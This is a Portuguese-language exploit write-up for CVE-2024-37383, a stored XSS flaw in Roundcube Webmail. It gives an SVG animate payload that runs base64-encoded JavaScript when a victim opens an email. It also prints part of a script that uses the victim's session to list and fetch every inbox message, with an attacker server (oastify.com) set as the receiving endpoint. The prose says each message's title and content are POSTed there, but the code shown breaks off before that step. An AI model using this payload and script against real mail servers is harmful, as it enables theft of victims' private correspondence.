
Exploit do servidor de e-mail Roundcube para CVE-2024-37383 (XSS armazenado)
A vulnerabilidade CVE-2024-37383 foi descoberta no cliente de e-mail Roundcube Webmail. Esta é uma vulnerabilidade de XSS armazenado que permite a um atacante executar código JavaScript na página do usuário. Para explorar a vulnerabilidade, tudo o que o atacante precisa fazer é abrir um e-mail malicioso usando uma versão do cliente Roundcube anterior à 1.5.6 ou de 1.6 a 1.6.6.
<svg>
<animate attributeName="href " values="javascript:eval(atob('BASE64_EXPLOIT_CODE'));" href="#link" />
</animate>
<a id="link">
<text x=20 y=20>Click me</text>
</a>
</svg>
Este código automatiza o processo de recuperar todas as mensagens da caixa de entrada de um servidor Roundcube webmail e encaminhar esses dados para um endpoint específico do servidor colaborador.
A URL principal do webmail (target) e a URL do servidor receptor (attackerserver) são definidas como variáveis no início para facilitar a configuração.
A função getPageCount envia uma solicitação GET para a URL principal do webmail para obter metadados, incluindo o número total de páginas (pagecount). Se pagecount for encontrado, ela prossegue para percorrer cada página.
Para cada página, de 1 a pagecount, ele constrói uma URL paginada para solicitar essa página. A resposta de cada página é verificada em busca de ocorrências de add_message_row(NUMBER) usando regex, extraindo os IDs de mensagem de cada ocorrência e coletando todos os IDs em uma única lista.
Para cada ID de mensagem, o código constrói uma URL para solicitar dados detalhados sobre essa mensagem. Ele envia uma solicitação GET para cada URL de ID de mensagem, recebendo o HTML completo da resposta.
Dentro de cada resposta de mensagem, ele usa regex para capturar o (título da mensagem) e o conteúdo principal da mensagem. Quaisquer tags HTML são removidas do conteúdo da mensagem para manter apenas o texto simples.
Para cada mensagem extraída, uma solicitação POST é feita ao endpoint do servidor com o título e o conteúdo limpo da mensagem, codificados em URL para transmissão adequada.
// Configuration variables
var target = 'https://webmail.redacted.tld';
var attackerserver = 'https://oastify.com';
function getPageCount(url) {
var req = new XMLHttpRequest();
// Configure the request with credentials
req.open('GET', url, true);
req.withCredentials = true;
// Define the response handler
req.onload = function() {
if (req.status === 200) {
try {
// Parse the response as JSON
let jsonResponse = JSON.parse(req.responseText);
// Access the pagecount field
let pageCount = jsonResponse.env.pagecount;
if (pageCount !== undefined) {
// Array to store all message IDs
let allMessageIds = [];
let completedRequests = 0; // Track the number of completed requests
// Loop to request each page
for (let page = 1; page <= pageCount; page++) {
(function(currentPage) {
var pageReq = new XMLHttpRequest();
// Construct the URL with the current page number
var paginatedUrl = `${url}&_page=${currentPage}`;
// Configure the request
pageReq.open('GET', paginatedUrl, true);
pageReq.withCredentials = true;
// Define the response handler for each page
pageReq.onload = function() {
if (pageReq.status === 200) {
try {
// Get the response text
let responseText = pageReq.responseText;
// Use a regex to find all instances of this.add_message_row(NUMBER)
let messageRowRegex = /this\.add_message_row\((\d+)/g;
let matches;
// Find all matches and extract the numbers
while ((matches = messageRowRegex.exec(responseText)) !== null) {
allMessageIds.push(matches[1]);
}
} catch (error) {
// Error handling for page processing
}
}
completedRequests++; // Increment completed request count
// Check if all requests are completed
if (completedRequests === pageCount) {
// Loop through all message IDs and create URLs using each one
allMessageIds.forEach(id => {
// Construct a new URL with the current message ID
const newUrl = `${target}/?_task=mail&_caps=pdf%3D1%2Cflash%3D0%2Ctiff%3D0%2Cwebp%3D1%2Cpgpmime%3D0&_uid=${id}&_mbox=INBOX&_framed=1&_action=preview`;
// Make a request for each constructed URL
(function(currentUrl) {
var messageReq = new XMLHttpRequest();
messageReq.open('GET', currentUrl, true);
messageReq.withCredentials = true;
// Define the response handler for the message request
messageReq.onload = function() {
if (messageReq.status === 200) {
// Get the response text
let messageResponseText = messageReq.responseText;
// Extract <title> content using regex
let titleMatch = messageResponseText.match(/<title>(.*?)<\/title>/);
let title = titleMatch ? titleMatch[1] : "No Title";